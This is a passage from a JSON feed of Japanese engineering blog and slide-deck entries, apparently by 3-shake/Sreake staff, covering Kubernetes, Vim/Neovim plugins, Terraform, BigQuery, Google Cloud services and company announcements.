株式会社スリーシェイク.","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gin.vimでgitの差分を快適に閲覧する","link":"https://blog.atusy.net/2023/11/29/gin-diff/","contentSnippet":"2023/11/29のVim駅伝記事です。vimを切っ掛けにエンジニアになった話」でした。gin.vimというVim上でGitを便利に扱うプラグインがあります。ExコマンドのGinを通じて、gitコマンドを実行するのが素朴な使い方です(例:Gin commit)。Ginの代わりにGinBufferを使うと、コマンドの実行結果をバッファに出力できます(例:GinBuffer log -n 1)。","isoDate":"2023-11-29T00:00:00.000Z","dateMiliSeconds":1701216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KEP-4188: New kubelet gRPC API with endpoint returning local pods info","link":"https://zenn.dev/toversus/articles/791c7916e21059","contentSnippet":"!KEP 持ち寄り会 #1 の登壇資料です。2023/11/27 時点の KEP-4188 の内容です。Kubernetes 1.29 時点で機能として入っていないので注意して下さい。また、後半の文章は考察を含んでおり、正確な情報でない可能性があります。 概要KEP-4188 は、Kubelet に Pod Conditions を公開する gRPC API を追加する KEP です。Pod Conditions は Status フィールドに含まれています。❯ kubectl get pods -n kube-system coredns-5d78c9869d-8gglh ...","isoDate":"2023-11-27T08:23:13.000Z","dateMiliSeconds":1701073393000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"KEP-3063: Dynamic resource allocation","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\\rKubernetesのKEP \\"Dynamic resource allocation\\" に関する情報をまとめた内容になります。\\r\\rイベントURL: https://kep.connpass.com/event/299651/\\r参考資料:\\r\\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \\rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \\rhttps://github.com/cncf-tags/container-device-interface \\rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \\rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes/kubernetes/pull/111023 \\rhttps://github.com/orgs/kubernetes/projects/95/views/1 \\rhttps://github.com/kubernetes/dynamic-resource-allocation \\rhttps://www.cncf.io/projects/akri/ \\rhttps://github.com/kubernetes-sigs/dra-example-driver \\rhttps://github.com/NVIDIA/k8s-dra-driver \\rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \\rhttps://github.com/intel/intel-device-plugins-for-kubernetes \\rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \\rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \\rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \\rhttps://github.com/NVIDIA/k8s-device-plugin\\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \\rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \\rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHubとCircleCIからFour Keysを計測する","link":"https://sreake.com/blog/four-keys-with-github-circleci/","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryの メタデータってどこから見れるの?","link":"https://zenn.dev/nedoko_dok0dko/articles/f6ccafeceac4a3","contentSnippet":"whatBigQueryのメタデータの取得先について簡単にまとめたもの BigQueryのメタデータ、調べることが出来るの?A. 出来るということで、メタデータの主な取得先について記載していく テーブル情報やレコード数BigQueryにはINFORMATION_SCHEMAという、メタデータなどを保持しているビューが存在している。これらを利用してメタデータを取得することが出来る。ただし、テーブルの更新日やテーブルのデータ量については記録されていない。https://cloud.google.com/bigquery/docs/information-sche...","isoDate":"2023-11-21T10:26:24.000Z","dateMiliSeconds":1700562384000,"authorName":"seno","authorId":"seno"},{"title":"走馬灯のIaCは考えておいて","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\\r\\r技術的負債に向き合う Online Conference\\rhttps://findy.connpass.com/event/297813/\\r\\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\\r\\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"プラグインをURLで指定しやすくするために、tree-sitterでURIパーサーを作ってNeovimを彩ってみた","link":"https://blog.atusy.net/2023/11/17/tree-sitter-uri/","contentSnippet":"この記事はVim駅伝2023年11月17日(金)の記事です。VimやNeovimでプラグインマネージャーに使いたいプラグインを指定するとき、GitHubでの配布物であればユーザー名/レポジトリ名での指定が一般的です。","isoDate":"2023-11-17T00:00:00.000Z","dateMiliSeconds":1700179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ツールごとのOPA/Regoの書き方","link":"https://zenn.dev/tayusa/articles/63f286f4733a87","contentSnippet":"RegoとはKubernetesやTerraformの静的解析で既存のルールでは足りないときや自分でカスタマイズしたいときにRegoというポリシー言語でコードを書くhttps://www.openpolicyagent.org/docs/latest/policy-language/ Regoを利用できるツールの例conftesthttps://www.conftest.dev/自分で全部書くtrivyhttps://aquasecurity.github.io/trivy/latest/docs/scanner/misconfiguration/cust...","isoDate":"2023-11-16T03:05:53.000Z","dateMiliSeconds":1700103953000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","link":"https://sreake.com/blog/generative-ai-sre/","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"MinIO Client で Amazon S3 や Cloudflare R2 を利用する","link":"https://blog.1q77.com/2023/11/minio-client/","contentSnippet":"Cloudflare R2 は egress の費用がかからないということで手元のファイルのバックアップに使ってみようかなと思ったときにクライアントとして何を使おうかな aws cli 使うほ","isoDate":"2023-11-12T11:13:31.000Z","dateMiliSeconds":1699787611000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy入門","link":"https://speakerdeck.com/bells17/kube-proxyru-men","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\\r\\rコードリーディングメモ:\\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \\rhttps://oxynotes.com/?p=6361#5 \\rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \\rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \\rhttps://qiita.com/syui/items/27020b970775a0c508ba \\rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \\rhttps://man.archlinux.org/man/conntrack.8.en \\rhttps://nomeu.net/8380/ \\rhttps://knowledge.sakura.ad.jp/4048/ \\rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \\rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \\rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \\rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \\rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \\rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \\rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \\rhttps://kubernetes.io/docs/concepts/services-networking/service/ \\rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \\rhttps://knowledge.sakura.ad.jp/22636/ \\rhttps://netfilter.org/index.html \\rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \\rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \\rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://eng-entrance.com/linux-firewall \\r\\r\\r画像引用元:\\rhttps://github.com/kubernetes/community/tree/master/icons \\rhttps://github.com/kubernetes/kubernetes/tree/master/logo \\rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \\rhttps://github.com/kubernetes/kubeadm/tree/main/logos","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","contentSnippet":"この記事は、3-shake Advent Calendar 2023 1日目のエントリ記事です。 きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか?デプロイを実行したが結果はどうだったか?デプロイが失敗したが原因は何か?などなど・・調べてみ...","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"テキストの折り畳みを彩る vim.treesitter.foldtext() を使ってみる","link":"https://blog.atusy.net/2023/10/26/treesitter-foldtext/","contentSnippet":"Neovim 0.10で使えるようになるvim.treesitter.foldtext()を使うと折り畳んだコードもキレイに色付けられるぞ。ラッパー書けば次の行の情報も色付けて表示できたりしてとっても便利だぞ。","isoDate":"2023-10-26T00:00:00.000Z","dateMiliSeconds":1698278400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】\\"Findy Terraform 活用大全 - IaCの今\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/10/25/550144","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Terraformのtfstateの分割パターンtfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『 tfstate の分割パターンとディレクトリ構成への適用』ていうテーマで、 Findy Terraform 活用大全 - IaCの今 に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Terraform活用大全 - IaCの今。』の登壇資料です!!tfstateを分割してみんなで最高になろう✌\uD83C\uDFFB#Terraform_findyhttps://t.co/NteGvKdMEE— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) October 25, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2023-10-25T03:00:00.000Z","dateMiliSeconds":1698202800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"\uD83E\uDDD1‍\uD83D\uDE80 tfstate の分割パターンとディレクトリ構成への適用","link":"https://speakerdeck.com/hiroki_hasegawa/tfstate-nofen-ge-hatantoteirekutorigou-cheng-henoshi-yong","contentSnippet":"『Terraform活用大全 - IaCの今』の登壇資料です\\r\\r\\r・Terraformのtfstateの分割パターン\\r・tfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法\\r\\rを紹介しました\\r\\rスライドでは少ししか分割パターンを紹介できませんでしたので、ぜひ元記事 (tfstateファイルの分割パターンとディレクトリ構成への適用) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1717030862452384047","isoDate":"2023-10-24T04:00:00.000Z","dateMiliSeconds":1698120000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day9","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service(iPaaS)ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"TailscaleのMagicDNSがなぜかLinux上で動かなくなったのでトラブルシューティングした","link":"https://blog.atusy.net/2023/10/17/tailscale-magicdns-with-networkmanager/","contentSnippet":"MagicDNSを使っているつもりだが、名前解決に失敗する……!どうやらLinuxの場合、NetworkManager + systemd-resolvedという構成を使っているケースが多いらしく、以下のようにして、 /etc/resolv.confを設定してやればいいようだ(Configuring Linux DNS)。","isoDate":"2023-10-17T00:00:00.000Z","dateMiliSeconds":1697500800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Asset Inventoryとは","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"kube-controller-manager入門","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","contentSnippet":"SRETT #7 で発表した資料です。\\rhttps://3-shake.connpass.com/event/293432/\\r\\r発表のライブ配信はこちら。\\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\\r\\rzennのスクラップ:\\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\\r\\rスライドで紹介した参考リンク集:\\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでアホになった要素を速く見つけろ!(ナベアツネタ)","link":"https://blog.atusy.net/2023/10/12/fast-fool-findier/","contentSnippet":"ナベアツは数字がでかくなるほどアホになる割合がアップすると聞いたので検証してみましたhttps://twitter.com/jagarikin/status/1711855799184785732これをRでやってみるべく、MITTIさんが書いたコードが重いらしいです。","isoDate":"2023-10-12T00:00:00.000Z","dateMiliSeconds":1697068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","link":"https://sreake.com/blog/pagerduty-package/","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREとPlatform Engineerの交差点","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","contentSnippet":"Platform Engineering Meetup #5 #PFEM\\rhttps://platformengineering.connpass.com/event/295048/ \\r\\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\\r\\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\\r\\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","contentSnippet":"はじめに プラットフォームエンジニアリング(Platform Engineering)とサイト信頼性エンジニアリング(SRE, Site Reliability Engineering)はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき,通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば,Amazon SNS からイベント駆動で呼び出す場合は,以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"WSL 2 で外部ストレージをマウント","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメ","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"IPA試験 合格体験記/qualification-story","link":"https://speakerdeck.com/moz_sec_/qualification-story","contentSnippet":"","isoDate":"2023-09-15T04:00:00.000Z","dateMiliSeconds":1694750400000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"BigQueryの行列レベルのアクセス制御について","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess Denitedと...","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Kubernetesソースコードリーディング入門","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\\rhttps://k8s-novice-jp.connpass.com/event/293144/\\r\\r発表のライブ配信はこちら。\\rTODO\\r\\rスライドで紹介した参考リンク集:\\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \\rhttps://www.amazon.co.jp/dp/4297104385/\\rhttps://www.amazon.co.jp/dp/4297118378/ \\rhttps://go.dev/tour/welcome/1 \\rhttps://gopherdojo.org/studyroom/ \\rhttps://www.amazon.co.jp/dp/4621300253/ \\rhttps://speakerdeck.com/bells17/kubelet-and-containers \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \\rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \\rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \\rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \\rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \\rhttps://github.com/kubernetes-sigs/kubebuilder \\rhttps://speakerdeck.com/bells17/kubebuilder-introduction \\rhttps://zoetrope.github.io/kubebuilder-training/ \\rhttps://github.com/cybozu-go \\rhttps://www.youtube.com/watch?v=yqB_le-N6EE \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \\rhttps://github.com/kubernetes/enhancements/issues/1602 \\rhttps://github.com/kubernetes/klog/issues/125 \\rhttps://github.com/kubernetes/klog/pull/126 \\rhttps://github.com/kubernetes-csi \\rhttps://kubernetes-csi.github.io/docs/drivers.html \\rhttps://speakerdeck.com/bells17/introduction-to-csi \\rhttps://github.com/kubernetes/kubeadm \\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \\rhttps://github.com/kubernetes-sigs/metrics-server \\rhttps://speakerdeck.com/bells17/metrics-server \\rhttps://speakerdeck.com/bells17/accurate-introduction \\rhttps://github.com/cybozu-go/accurate \\rhttps://slack.k8s.io/ \\rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \\rhttps://github.com/kubernetes/community","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle 